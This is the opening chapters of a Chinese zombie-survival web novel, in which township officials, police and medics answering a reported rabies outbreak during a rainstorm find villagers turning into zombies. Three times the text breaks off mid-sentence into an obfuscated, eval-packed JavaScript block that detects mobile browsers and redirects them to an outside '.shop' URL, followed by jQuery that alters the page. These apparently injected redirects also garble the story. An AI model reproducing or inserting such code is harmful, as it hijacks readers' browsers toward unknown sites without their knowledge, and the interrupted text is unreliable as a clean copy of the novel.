《丧尸村镇求生指南》
1. 红色暴雨预警夜
钟宝镇。
瓢泼大雨,电闪雷鸣,空气中弥漫着略带腥味的水汽。
八月的乡镇夜晚,防汛值班的压力悬在每个人头顶,然而这西南山区的夏季,常常连下三五天的雨,老练的乡镇工作人员早已以政府为家。
管你什么预警不预警,住在镇政府里准没错!免得突发状况来了连扑带爬跑不赢。
值班室中,墙上圆乎乎的摄像头动了动,略带电流干扰声的喊话传来:
“今夜暴雨预警提升至红色!请各镇值班室务必24小时在岗!保持清醒!随时应对突发情况!现在请依次报告各乡镇情况……”
陈云皓冷不丁地打了个哆嗦,清澈愚蠢的眼神变得慌乱,他看似端正地坐在值班电脑面前,手里却拿着手机跟外地的同学朋友们打游戏。
他那一哆嗦,手上操控失误,游戏角色立即被丧尸们一拥而上,画面变成红色。
游戏角色变异,开始扑回去咬队友。
蓝牙耳机里顿时传来队友们的美妙赞扬,鸟语花香,文字翻译出来全是***。
陈云皓汗颜,不是形容词,空气湿度太大,值班室那年纪跟他差不多大的空调的除湿效果不行,他感觉自己浑身都湿哒哒的。
值班室里是双人值守,快退休的李大爷正在伸懒腰打呵欠,听到摄像头里的喊话,他暼了一眼刚来工作不到一个月、满脸蠢相的小帅哥陈云皓,无奈地摇摇头。
李大爷喝了口保温杯的浓茶,站起来对着摄像头熟练报告道:
“钟宝镇严格执行汛期值班制度,橙色预警后,编制内干部42人、其他干部11人已全员到岗。各村组地质灾害点已通知到位,临时转移安置流程已开启,镇干部已派出35人到各村社区协助转移安置,目前暂无地质灾害发生。”
李大爷有条不紊地报告情况的同时,值班电话嘟嘟嘟地响起来。
陈云皓游戏里重创队友,现实里没接上摄像头那边的上级提问,只好忙不迭地接起电话,用标准的普通话和标准的流程回答道:
“您好,这里是钟宝镇政府!请问……”
陈云皓话没说完,对面叽里咕噜地用土话连嚎带骂地嚷了起来:
“日麻快把拉按倒!狗日呢??老子好痛!喂?喂!赠赠府哇?快点子找人过来!格老子的刘二娃怕是遭了狂犬病到处咬人!一村遭拉??了好几十个……”
陈云皓自信满满的播音腔一下子弱了下去,毫无造型的头发软趴趴地耷拉在额头上,配合他那郁闷的脸,整个人萎靡气场拉满:
“您,您说慢点,我听不太清楚……”
作为一个异省上岸一个月不到的基层乡镇公务员,陈云皓对当地的方言理解力十分有限,实习期一年,他才刚开个头。
电话那头的人鬼冒火,用撇脚的普通话大喊:
“听不懂就换个人接电话!!!”
陈云皓还没来得及找李大爷,电话那边突然自个儿换了人,是一个气喘吁吁的年轻女孩,口里说着不太标准但交流无障碍的普通话:
“这里是踏水村,我是网格员章雪。转移到村公所的地灾点群众里,村民刘二刚疑似得了狂犬病,咬伤了三十来个村民。有几个受伤村民也开始发疯咬人,我们村委只有几个人,控制不住,请求支援!”
陈云皓手里的话筒差点没落到地上,一张帅气的傻脸瞬间呆滞。
同时,陈云皓手机里的游戏队友们已经全部死掉屏幕成了一片灰色。
*
钟宝镇卫生院。
卫生院里住院的老人们维持着健康的作息,他们不看电视不玩手机,睡得早得很,轰隆隆的雷声和哗啦啦的暴雨丝毫不影响他们的安眠。
女护士范小秋写完病历,甩了甩发麻的手臂,摇了摇僵硬的肩膀,单眼皮大眼睛下的眼袋摇摇欲坠。
她抬头一看,快十一点了,今天完工得挺早啊!完美,可以小睡一觉。
范小秋愉悦地哼着歌,正打算去休息室上睡一下,只见两个中年女人抖落一伞的水,急匆匆地冲了进来,其中卷发大姐在拼命打电话,另一个利落短发女同志上前说话:
“我是分管医疗卫生的副镇长侯未香。踏水村那边疑似出现发病的狂犬病患者,咬伤了几十个村民。镇政府和派出所马上要派人去踏水村村公所查看情况。请你们立即准备应急药品后跟随出发。”
范小秋:“……”
她瞪大眼,浑身起了一层鸡皮疙瘩,连忙拒绝,“不行哦,我们卫生院人少,我手里有负责的病人…”
“喂?祁院长,你终于接电话了!我都到卫生院了,情况是这样的…”
那女副镇长的手机响起,她如释重负地接起来,走到旁边一通对话。
等女副镇长挂断电话的第三分钟后,范小秋接到了护士长电话:
“……二线护士马上到,救护车司机也在来的路上…已经通知全员到岗了,你先去准备……”
范小秋深深地呼吸一口,心里苦,但:“好,我立即准备。”
休息室里的医生也被电话叫醒,他一边拿着手机嗯嗯啊啊,一边急匆匆地跑了过来,白大褂都没有扣好。
医生也是年轻人,这种八辈子难得一见的夜间临时出诊,还是大暴雨天气,他整个人都不太好。
“咱们这种乡镇小卫生院,也没什么药品,狂犬病疫苗可以在24小时内打,但打疫苗要入系统扫码,得把群众接回医院…”
医生跟副镇长简单交涉,“我们只能带上基础药物,消毒杀菌,伤口清创…”
侯副镇长点头,看得出来大家都急得很,但心急没有用,她满脸严肃地回答:
“我知道了。我们这边继续协调县卫健部门,县里120急救中心会紧急派车过来,不过现在大雨垮了路,车辆要从另外的路绕上来。你们到现场,先查看村民们的受伤情况,视情况先行治疗,主要做好安抚和沟通,要让群众安下心来,不要恐慌。”
听说县里要派人派车来,医生和护士范小秋都稍稍安下心来。
范小秋拿出科室的急救箱清点东西,着重多备了一些清创包、缝线,医生则是去多拿了几条约束带,再去药房多领一些消毒用的碘伏。
*
钟宝镇派出所。
派出所和镇政府都是老建筑,延续着四川在新中国建国初期西南大剿匪时的习惯,表面上看起来派出所和镇政府各在一条街,实际上着两个单位地址背靠背。
极为方便关键时刻相互支援。
今晚是派出所副所长值班,他接到镇政府那边的电话时,立即从沙发上弹射而起。
所里此刻算上副所长一共有2个正式警察,4个辅警,副所长一阵集合哨把大家都吹起来,简单交代:
“镇政府通报,踏水村村公所那边村干部说,有人得了狂犬病,咬伤了几十个汛期转移安置的村民。小郑,你留守办公室。其余人,戴执法仪,穿防刺服,上全套装备,带防暴盾牌,全部上车!跟镇政府的人一起出发!”
所有人都动了起来,副所长是老基层警察了,他转身就去带上了自己的□□警用手枪,15发子弹全部灌满。
同时,副所长把对讲机也挂上,直接用内部警务系统向上级指挥中心报告:
“指挥中心,指挥中心,这里是钟宝镇派出所,这里是钟宝镇派出所……接镇政府报警,有疑似狂犬病人咬伤几十位村民。我带队共5人,即将出警到达现场查看具体情况……”
*
钟宝镇镇政府。
值班室中,陈云皓站在玻璃门前,眼看着镇政府四层高的小楼里,同事们在各个办公室间跑来跑去。
这大雨夜的,出这种大事,镇上年轻干部私下小群里的表情包开始刷屏。
大家都来不及说多的,只能用各种地球爆炸了世界爆炸了的表情包发泄震惊。
陈云皓毕竟是新人,他不知道大家在爆炸什么,也不知道现在自己该干什么。
狂犬病,听起来有些吓人,但好像也不是什么大事吧。
紧张且茫然的陈云皓只能傻愣愣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122953|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地看着同事们,等待别人给他指令。
三楼的党委会议室灯亮起,好在今晚是全员值班,领导班子都在,一个小会迅速召开。
几分钟后,党政办的两个女孩子打着伞哒哒哒地跑来门口值班室,其中小个子姐妹交代:
“云皓,李叔叔,你们马上收拾下准备去踏水村。我们两个来接守值班室。”
“我,我能做什么呢?”陈云皓头皮发麻,他自小在城里长大,这辈子活了24年还没有见过狂犬病人,有点心虚。
高个子的长发女孩子要稳重些,有条不紊地解释安排:
“刚开了紧急党委会,第一批镇干部35人都出去劝说地质灾害点的群众转移,现在院子里没有多少干部了。书记安排分管章副镇长带队,剩下的四个男同志都上,你、罗叔叔、李大爷和司机老杜,刚好凑一个车。”
小个子微卷发女孩也提醒,“云皓?你是踏水村的包村干部呀!今天白天你和畜牧站的罗大怀才去看过那个民宿的家禽惨案,书记说你们俩去的时候仔细问问,看是不是有什么关联。”
陈云皓赶紧点头,生怕刚刚他说的话被误解为不想去村里,“好的好的,我只是有点紧张,不知道自己该做什么。”
年轻力壮有经验的那一批镇干部,不论男女都下村劝说群众转移了,留在家里的除了书记镇长和带班领导,就是老弱病残,他这个外省高个子新人在其中显得格外青壮。
还有,虽然刚刚参加工作啥都还不懂,但值班和包村是报道第二天就安排了的。
陈云皓是包村干部,有第一时间去处理村中突发事务的职责。
“邓镇长在另外一个村劝说群众转移,他那边马上带人过去,你别担心,到了现场听指挥就行,刚刚参加工作都会紧张,正常的。”
高冷女孩说着暖心的话,小个子姐妹已经从值班室的柜子里翻出来一堆东西,雨衣、手电筒、应急医疗包、绳索等。
“狂犬病人力气大得很,又要咬人,外面雨大得很,你快把应急雨衣穿上,去的时候一定小心点哈,尽量不要被咬到,会传染!”
见陈云皓傻站着不动,她跺了下脚立马变身川渝小辣椒,上去给陈云皓的小腿轻踹一脚:
“嫑走神!一二三!!快点穿!!!”
陈云皓这边还在穿衣服,李大爷不仅穿好了雨衣雨鞋,戴好了手套帽子口罩,甚至已经把4把防暴叉给准备妥当了,一看就是经验丰富的老前辈。
*
镇政府的应急公车启动,载着章副镇长一行人消失在漆黑的雨夜中。
两个女孩坐在值班室里,个子矮小那位打开值班电脑登录办公系统,立马开始哀嚎:
“这云皓怎么没收OA里的公文啊!一排红色感叹号的急件!我待会儿非掐死他不可!潇潇,你看,他真的是太过分了!!!”
高冷女孩被震得往旁边挪了两步,掏出手机回复工作群消息,顺嘴回复闺蜜兼同事:
“不气不气噢丽莉,刚工作的同志嘛,记不住,正常的,之后我们办公室多提醒嘛……”
墙上时钟的秒表喀嚓喀嚓走,古丽莉噼里啪啦敲着键盘,收完这个收那个,拟完这个意见拟那个,终于是把急件都给送去领导的OA账号里了。
一阵耀眼的白光闪过,整个镇政府如同突临白昼,
黑夜再度降临,值班室的电灯都跟着刺刺闪动。
古丽莉和涂明潇莫名同时汗毛倒竖,两人同时咕咚一声咽下口水。
隐约听到远处有什么东西啪地跟随炸开,然后轰隆一声巨响!
雷声震得玻璃窗嗡嗡作响,随即整个镇政府陷入黑暗。
“停电了?变压器又被烧了?”古丽莉打开桌子上的应急手电筒,准备去找人拿应急的柴油发电机,却瞥着涂明潇捧着手机浑身僵硬,脑袋上的呆毛都炸裂起来了。
她心中好奇,伸出头往涂明潇手中看去——然后,她和明潇潇一起发出凄厉的尖叫!
“握草啊啊啊啊这好像是丧尸啊啊啊!!!”
2. 红色暴雨预警夜2
雨刮器开到最高档,对盆泼水一般的暴雨作用甚微。
车窗外雨声伴随着雷声,闪电时不时照亮山林,那弯曲的上坡路像是一条小河,忽明忽暗,水流中还时不时出现细碎的山石和断裂的树枝。
幸好司机是本地人,在镇政府开了二十多年的车,属于闭着眼睛也可以开到目的地那种,才敢在这种危险的情况下出门。
【暴雨+夜间+开山路=?】
陈云皓默默地拿手机拍下一小段视频,发到游戏朋友群。
群里不约而同地发出“???!!!”
“太猛太刺激了!”
“这闪电,这山路,这暴雨,这气氛,这感觉,跟恐怖游戏一样……”
“就跟哪里要蹦出来几具僵尸一样哈哈哈哈”
“我擦兄弟山上有什么啊?!要命的鬼场景是什么事情你们非去不可啊?别前脚刚上岸后脚就评烈士了……”
陈云皓悄咪咪地打字:【听说几十号人被狂犬……】
坐在旁边的畜牧站罗站长小眼镜一斜,径直给了陈云皓一拐子。
陈云皓一个哆嗦,消息没写完就发了出去。
罗大怀瞪着眯眯眼不停地哼哼,陈云皓抱着手机满脸迷茫。
坐在前面副驾的章副镇长扭头,跟开了天眼一般对着陈云皓说:“别乱发消息!”
陈云皓赶紧撤回游戏微信群的消息。
微信群里又传来一阵阵的“???”
章副镇长三十多岁,高大偏胖的身材,戴着副黑框眼镜,他看了看后排的三个镇干部:一个二十出头刚参加工作的青沟子,一个四十多岁有基础病的中年畜牧站站长,一个六十岁马上要退休的老同志。
虽然老中青都有了,但感觉压力好大!
于是他的目光只集中在了陈云皓身上:
“根据应急事件管理和舆情管理相关规定,在事件没有弄清楚之前,不准向外面发任何信息,以免引发次生谣言和社会恐慌。图片、视频、文字都不行,明白了吗?陈云皓?”
你的麻麻和你的领导严厉地喊你的全名,多半都是你出现了某种找死的情况。
陈云皓脸噌一下红了,他赶紧把手机揣进兜里。
“明白!明白!已经撤回了,不会再犯了。”
认怂要快,态度可爱!伸手不打认错人!
罗大怀的儿子跟陈云皓差不多大,见陈云皓尴尬,便出声解释这事的雷点在哪,希望陈云皓能真正懂得为什么不能乱发:
“现在只是听闻村干部说,疑似狂犬病人咬人。一切都没有查清楚,要是别人拿着你的截图去到处发,不出俩小时,什么僵尸啊丧尸啊蜥蜴人外星人啥消息都出来了,是不?到时候随你怎么解释,都解释不过网友的脑洞。”
陈云皓听罗站长的解释,不好意思地笑了笑,心想这大叔语库还挺联网的。
李大爷也跟着聊,“狂犬病一般是在春秋发作,并且病人要么瘫痪没力气,要么狂躁是时候怕风怕水。今晚这状况,有点奇怪,指不定是有些混子吸毒了,或者是精神病人犯病了。”
说着,李大爷顿了顿,耷拉的松弛眼皮精光闪烁,饱含期盼地说道,“最好是精神病!”
陈云皓:“……”
谢谢,有被鼓舞到,比起咬人要传染的狂犬病和也许有艾滋咬人也传染的吸毒犯,只是法抗程度高的精神病人确实很好了!
副镇长想起了什么,向罗站长问道,“今天白天,你们去踏水村看那个民宿的家禽惨案,是个什么情况?跟现在的事情有没有关联?”
章副镇长不分管卫健,也不分管农业畜牧,白天的事情他只是听说,不了解具体情况。
说到这个,罗站长有些忧心忡忡,“民宿老板家的鸡鸭鹅全部被咬死了,他家的大金毛失踪……”
陈云皓想起白天细雨蒙蒙中的民宿,心底的怪异感再次浮上来。
脑海里浮现出了画面,那满地沾血的羽毛,有着人齿印的鸡鸭鹅肉块,幽暗树林里的血腥味,还有民宿顶楼时不时晃动的窗帘……
真的,十分惊悚!
走近科学!陈云皓大胆地鼓励自己,要拿出科学的推论!不要犯唯心主义的错误!我们是坚定的共产主义战士!
“会不会就是这只金毛得了狂犬病,咬死了老板家的鸡鸭鹅,又出去咬伤了村民,才导致今晚的事情?”
陈云皓用他清澈的大学生思维,想出了一个最贴合实际的答案。
对,一定是这样!
罗站长没说话,李大爷接话,“别瞎猜了,到地方再说!总之,注意点周围,别万一被冲出来的疯狗咬了。”
陈云皓没吭声,心想你都要防狗了,还不是跟我想的一样啊!
列祖列宗保佑,一定要是疯狗,宁愿是疯狗。
*
虽然踏水村是山区,但好在党群服务中心修得离坝区近,平日里二十来分钟的车程,雨夜即便开得慢,镇政府的应急车开到也就三十多分钟。
陈云皓刚打开车门,迎面而来的瓢泼大雨拍了他一脸一身,顿时眼睛都睁不开,他条件反射地以为自己下车是不是掉进游泳池了。
呼吸!他无法呼吸!满脸是水,鼻腔是水!卧槽啊水呛进气管了!
身边的大叔大爷下车先去拿防暴叉,他们跟着章副镇长往前走了好几步,回头一看,陈云皓挥舞着双手跟游泳一般划动,还猛烈地咳嗽。
跟个傻子一样。
派出所的警车闪着红□□紧随其后,闪着红光的卫生院的救护车也到了,一群人哗啦啦地下车,踏着满地水流跑过陈云皓身边。
医生从陈云皓身边跑过时,扭头看了一眼,忍不住嘀咕:
“外地人吃菌子了?大雨中游泳?假装呛水?有意思…”
范小秋跟在医生后面,脚下不知绊到个什么东西,她一个踉跄扭身撞到了陈云皓,差点摔倒。
被撞的陈云皓条件反射接住来人,注意力被转换,这才发现自己根本没有呛水,也不用咳嗽,纯属自己吓自己。
红色预警的暴雨,太大了,陈云皓几乎以为自己站在瀑布里。
范小秋差点摔倒,眼睛随着惯性往下看,手中的电筒照着地上流动的积水,一团团红色液体随着大雨冲刷走。
“……”范小秋瞪大眼,这个出血量堪比一宰年猪!
卧槽啊这个要是人还得了,没死的话得速包扎止血建个静脉双通道才行!
*
这边陈云皓和范小秋稍一停顿,那头副镇长和副所长已经会面,镇干部、警察、医生等人已经从党群服务中心的大操场一路小跑到村公所门口。
这个村公所比较老旧,是个砖瓦建筑的小平房,总共只有五间房,中间的是大会议室,左右各两间。
此刻村公所灯火通明,大会议室的房门紧闭,颜色半废、略带脏污的蓝色窗帘都拉着,里面隐约有几个人影在缓缓移动。
其他四个房间只有一扇门是半掩着,剩下三扇门都关着。
章副镇长心忧群众,正要踏上台阶,副所长突然一把扯住了他,同时单手摸向了腰间的手枪。
副所长身后的几个警察反应要慢一拍,可副所长一戒备,他们都立马谨慎起来。
高强度的雨水虽然冲淡了气味,但人骨子里对危险的认知会浮现在第六感中。
警察们顺着副所长的目光看去,屋檐簌簌而下的水流后,那微微飘动的窗帘上,脏污的印记不是花纹,而是飞溅起来的血迹!
这一瞬间的信息交互,只能说懂得都懂,那副镇长虽然没懂,但他知道派出所的同志拉住你的时候,一定不要莽。
所以副镇长停下脚步。
“怎么了?”罗站长是个中层干部,也挺会察言观色的,他虽然没有看懂危机,却看懂了警察们的凝重。
副所长还来不及解释,里面走出来个轻微瘸拐的高大人影,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122954|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他低着头,看不清表情,呼吸很深,走得有些慢,身上有伤,衣服上有血迹。
“黄书记?这是咋啦?”李大爷认出来这是踏水村的党组织书记。
他们都是本地人,算是转角亲戚,黄书记是他从小看着长大的后辈,所以他毫无防备地快步上前,扶住了对方,同时向医生喊道:
“医生,快来看下!”
黄书记肤色惨白微微发青,他喉咙里赫赫地发出似是痛呼的声音,浑身开始抽搐。
副镇长和罗站长也赶紧上去帮忙扶着黄书记,两人一边帮忙把黄书记往旁边办公室里搬,七嘴八舌地提问:
“发生什么事了?”
“群众呢?都在大会议室吗?”
“先把黄书记放办公室的沙发上吧?”
“走走走,哎哟这办公室怎么这么乱,小心,地上有血……”
“哎地上还躺着两个人,快看看!”
医生小跑上前,简单地为黄书记检查。
他有些疑惑,黄书记身上有许多人咬的伤口,同时伴随部分肌肉缺失,这什么情况啊,就像是被好几个人按着撕咬一样。
黄书记鼻翼抽动,他瞪着眼,眼珠子快速地颤动,肤色越来越青,双眼通红,他缓缓伸出僵硬的手,抓住了身边最近的医生的肩膀,紫黑色的嘴唇艰难地开合,发出野兽般的声音:
“咔喀…咳呃…快…滋唔…走…”
“啥?黄书记,你说啥?”医生听不懂,他把耳朵往黄书记嘴边凑。
副所长的对讲机同时响起呲呲啦啦的声音:
“…是否到达现场?请立即汇报情况…”
“报告指挥中心,我们同镇干部、卫生院医生护士共13人,已到达踏水村村公所。村支书受伤,地上有两名群众倒地抽搐,情况不明,疑似受到袭击。地面有大量血迹,需要支援。”
“情况收到,注意安全,保持联络。”
刚到现场还不到两分钟,副所长背脊一直在发紧,上回有这种感觉是十多年前追捕躲藏起来的持刀杀人犯。
见许多人都围着黄书记,副所长向警察们挥手:“我们去看看周围的情况!大家跟紧点。”
他感受到刺骨的危机,却不知道危机在何处,这让他心神极度不宁。
四个警察跟着副所长,他们已经拿好了防暴盾牌和警用伸缩棍,两两相靠,警戒四周,步履奇异地统一了节奏,随时做好战斗准备。
大会议室离办公室就几步路,副所长带着警察往大会议室门口走,里面隐约的几个人影也在往大会议室门口走。
乒乒乓乓的声响传来,屋子里的人影似乎撞到了临时安置用的铁架子床,又撞翻了一些板凳,有两个身影倒了下去后,发出撕心裂肺的嚎叫。
副所长在七步路的三秒内,心率直拉180,他也不知道自己是怎么回事,在大会议室门被撞开的一瞬间拔枪大吼:
“后退!!!全部后退!!!”
同一时刻,办公室那边也传来医生的惨叫:
“啊啊啊啊快把黄书记拉开!!!肉都给我撕下来了啊啊啊啊!!!”
副所长的大吼并没有喝退冲出来的几个村民,他们撞开门嘶吼怪叫着冲了出来。
副所长快速后退,身后的警察却没那么快反应,两人相撞那么一瞬间,几个村民面目狰狞地冲上来!
防暴盾牌挡住了第一波冲击!
警察们一看都是平时眼熟的村民,一瞬间也不知道该怎么办,只能赶紧背靠背围成一个圆,用防暴盾牌隔开他们,并高声劝解:
“不要激动!”
“冷静!”
“我们是派出所的民警,老乡们别害怕!”
推搡中,有村民抓伤了两个辅警,还有一个老奶奶跌倒后,顺着雨水爬过来,混乱中抓警察的脚咬。
副所长感觉自己脚被拉扯,重心不稳倒下,他这一倒,其他村民找到空隙便扑了进来……
3. 红色预警暴雨夜3
从车辆后备箱里拿出防暴叉的陈云皓和心中发急护士范小秋快步跟上,两人只是迟了一分钟不到,他们俩从大会议室门外走向办公室的时候,刚好和副所长们擦肩而过。
然后一个呼吸间,警察们在滂沱大雨中与村民们嘶吼抓扯,镇干部们在房间里拖拽撕咬医生的村干部,惨叫连连。
陈云皓拿着防暴叉的手微微发抖,脑袋里一阵阵响起嗡鸣,他条件反射地单手拿起手机点击录制视频,身边的护士姐姐颤巍巍却指向了大会议室里。
透过那扇开着的大门,地上几十个横七竖八的村民躯体如被电击一般抽搐,然后以诡异的姿势站了起来。
“丧…丧尸…”
陈云皓瞳孔收缩,心率拉满,肾上腺素拉满,浑身战栗。
作为医护人员,范小秋对这种灵异恐怖片般的场景更敏感,她尖叫一声:
“诈尸啊!”
没有一丝丝犹豫,范小秋拔腿就跑!
白色的身影扎入漆黑的雨夜,径直奔向最靠近道路的急救车。
陈云皓大脑一片空白,转身跟着跑。
溃逃是极具传染性的,几个警察本来还在苦苦支撑,这一男一女尖叫着从身边跑过,后面是抽搐着站起来开始嘶吼追逐的几十个村民,警察们个个大脑宕机,想也不想地拉起倒地的副所长跟着开跑。
陈云皓跑出操场,突然想起来自己的同事们还在里面,他脑袋里全是乱麻,根本来不及思考,就那么又折返跑了回去,从院坝另一侧冲向办公室,绝望大吼:
“是丧尸啊,快跑啊!李大爷!罗叔叔!章大哥!快跑啊!”
然而那里已经乱成一团,血肉横飞。
陈云皓的眼中不知是泪水还是雨水,那一瞬间他想了很多,看过的丧尸电影电视剧、打过的丧尸游戏、刷过的丧尸小说在脑袋里烟花一般地爆开,各种被咬就变异的桥段反复闪现。
他曾经无数次在看到某些桥段的时候吐槽配角们的愚蠢,他曾经在网上侃侃而谈丧尸世界里一定要够狠够果决,什么乱世先杀圣母,够狠才能生存……
可是,可是,这说不定只是变异了的狂犬病呢?
他一个人,黑夜大雨,人生地不熟,往哪跑?
他能一个人回去吗?就算他一个人回去,怎么跟镇上的同事们交代?
陈云皓把手机往兜里一揣,咬着牙冲进去,用手里的防爆棍推开最近的伏在李大爷身上撕咬的人……
*
陈云皓的手机一直录着视频,随着往雨衣兜塞的动作,那段视频结束录制,并随着陈云皓奋力救人的动作,衣物摩擦触及到他那没来得及熄屏、防水性能一流的手机屏幕。
录制结束的视频——被点开了分享——被分享到了微信——最近查看过的工作群里。
镇政府值班室,值班人员涂明潇点开了工作群群消息,看到一个40多秒的视频。
外出下村人员有拍照片和视频发在工作群里的习惯,涂明潇是党政办的工作人员,她想也没想就点开视频,瞬间被画面冲击得浑身僵硬。
嘭!随着雷电炸开,值班室停电。
一起值班的古丽莉嘀嘀咕咕地说着什么,伸头往僵站的涂明潇手机上看去。
片刻后,两个女孩和视频中画面外的陈云皓同步尖叫:“卧槽啊啊啊啊——好像丧尸啊!——”
*
镇书记办公室中,周书记的手机传出机械的女声:
“您好,您拨打的电话暂时无法接通,请稍后再拨……”
陈云皓的电话打不通,情况不明。
派出所副所长的电话也打不通,情况不明。
周书记闭上眼睛,给自己几秒钟的思考时间。
无数种猜测在脑海里交织,暴乱?不对,咱们镇一向干群关系和谐;
大规模中毒?这踏水村没有重工业也没有在建项目,今晚才聚在一起的村民也没有集中用餐,集体中毒可能性不大;
被咬的黄书记,半小时左右,也开始咬人……狂犬病变异?!
咚咚咚咚,除了值班室的两个女孩外,其余镇干部全部往书记办公室跑来,乌泱泱地挤在办公室外,个个都紧张得很。
章副镇长带人出发去踏水村的时候,周书记已经让其他村社区的镇干部们都回镇政府来待命了。
此时,大部分人都已经回镇政府集合,。
周书记睁开发红的双眼,深呼吸一口气,压到丹田里。
他现在是全镇的主心骨,必须沉着冷静,尽自己最大的能力保障全镇群众的安危。
他不能有任何的迟疑,混乱,纠结,以及害怕。
周书记开始发号施令:
“黄书记自第一次拨打电话到视频中的情况,差不多为34分钟。按现有情况推断,初步考虑为狂犬病毒变异。”
“肖主任,打电话给邓镇长,让他们不要进入村公所,在外围停车查看,视具体情况接应派出所的同志们。同时告知群内人员,视频严禁外传!严禁发布不当言论!”
镇工作群里除了有镇干部,还有各村社区的干部网格员,此刻大家都在微信群里询问什么情况。
“王副书记,你迅速和政法委联系,请县委县政府安排特警武警支援;同步打开物资储备库,先把医药类的东西搬到政府来。”
“林副书记,你负责立即拟稿短信息,五十字内,向县委办、县政府办、县应急指挥部报告初步情况。”
“侯副镇长,你把视频转发上级卫健部门;卫健工作人员立即清理准备几间隔离室,同步整理狂犬病防疫相关知识发全镇各村组群内。”
“朱组织员,通知各村社区,注意各避险安置点的人员健康情况,马上询问是否有近期被动物咬伤抓伤的情况,有异样的单独一个房间;同时对接宣传口,做好舆情管控,不要引发谣言恐慌。”
被点到的人立即带着自己的下属离开。
剩下的人里,镇中心网格员余圆梦举手道,“周书记,刚刚打雷可能把信号基站弄坏了,我们无法通过‘雪亮工程’的摄像头查看村公所及周边道路的情况……”
屋漏偏逢连夜雨,应急突发事件最怕通信不畅,周书记轻轻吸了一口气:
“赵主席,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122955|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
联系辖区内的通讯基站工作人员,尽量保障通讯稳定……”
话没说完,天上霹雳啪啦地连打几个雷。
看样子,就算工作人员挂在基站上,也不一定能保证通讯稳定。
周书记顿了一下,继续安排:
“魏部长,集合镇干部中的退役退伍军人,打开武装部的器材库,分发对讲机和防暴武器……把森林防灭火的巡视无人机带上,即刻前往踏水村公所。到之后先找邓镇长,大家不要轻易下车,就近先让无人机看看情况。”
魏诗书长得瘦瘦矮矮,虽然任职是武装部部长兼副镇长,可他是正儿八经从县委办提职出来的文职干部,刚下基层不到一年,属于文字材料上的王者,体能战术上的弱鸡。
周书记看了眼一脸严肃的、年轻的、瘦弱的、没有入伍经历的、戴着金丝眼镜的镇武装部部长魏诗书,补充到:“老毛,你和魏部长一起去。”
老毛是退居二线的前任武装部部长,高大、威猛、肌肉发达、有入伍经历、常年民兵训练老班长,五十多岁了每天能从家里慢跑十多公里来上班,是十多年前从村干部里选出来的副镇长,属于文字材料上的弱鸡,□□体能上的王者。
这两人站一起,典型的文官vs武将,周书记悬着的心稍微往下放了一些。
人群中有入伍经历的6男1女走了出来,跟着魏诗书和老毛下楼。
剩下的人里,防汛办的工作人员也举手,声音有点小:
“周书记,暴雨还在继续,上游水电站持续泄洪,水流量已经超过电站泄洪标准,预计20分钟内洪水要翻过大坝,此刻大坝道路已封闭……”
交管办的工作人员跟着举手,声音更小:“国道塌方了好几处,大坝道路封闭,县城第一批出来的救护车队伍卡在半路上,需要派熟悉地形的村干部去带他们走小路,总之救援部队短时间怕是上不来……”
周书记木着脸,端起茶杯猛灌几口浓茶,再点了一根烟猛吸两口,才用沉稳的声音回答:
“所有工作人员都回到自己的工作岗位,同上级部门保持联系。应急办的,先把镇政府的临时发电装置弄好;综治办的,去把场镇上超市的老板都喊起来,随时准备征用物资。”
“办公室的过来,今夜洪水必定要翻坝了,把应急预案拿出来,我要开始准备安排明天的救灾事宜。”
听说书记都要安排明天的事儿了,大家心里也稳下心,个个都回自己的岗位去开启通宵加班。
镇干部的小群里,再次猛刷一波绝望不了等待天明咖啡不苦命苦的表情包。相比之前群内凝重的沉寂,此刻大家反而放松了许多。
其实,加班什么的,只要能解决问题,都行。
等大家离开之后,周书记才狠狠地搓了一把脸。
现在,除了这个疑似狂犬病变异的疫情,还有红色防汛防地灾压力,□□雨容易导致山体垮塌和泥石流,通讯随时可能中断……
他在内心默念:冷静,县里已经得到消息,按流程不出两小时,省市应急值班的都会得到消息。只要今夜平稳,明天各部门的支援都会到!
4. 红色预警暴雨夜4……
村民们口里的老称呼[村公所],学名应该叫党群服务中心的建筑,选址都是有讲究的。
一般来说,会选在地势稍微平坦的地方,周边的农户相对聚集,方便大家来村公所办事盖章,开会聊天,扯皮吵架——调解纠纷。
踏水村的村公所是老建筑,两边延伸出去两三百米的村道两旁,都是本世纪初翻新建起来的房屋。
有的是传统砖瓦平房,有的是两层小楼房。挨着道路修的房子,还是保持了农村人的习惯,房前都有一小块水泥地坝,用于晾晒农作物。
大部分的地坝只有矮小的、装饰性的围墙,不到半人高;小部分的地坝为了自家车辆停放方便,直接没有围墙。
